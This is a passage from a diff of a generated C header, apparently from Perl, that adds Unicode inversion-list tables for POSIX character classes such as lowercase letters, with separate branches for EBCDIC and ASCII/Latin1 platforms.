+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x1680,
+	0x1681,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3001,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xE000,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXLOWER_invlist[] = { /* for ASCII/Latin1 */
 	1281,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
@@ -27167,12 +136865,2622 @@
 	0x1E944
 };
 
-static const UV XPosixPrint_invlist[] = { /* for ASCII/Latin1 */
-	1281,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXLOWER_invlist[] = { /* for EBCDIC 1047 */
+	1289,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
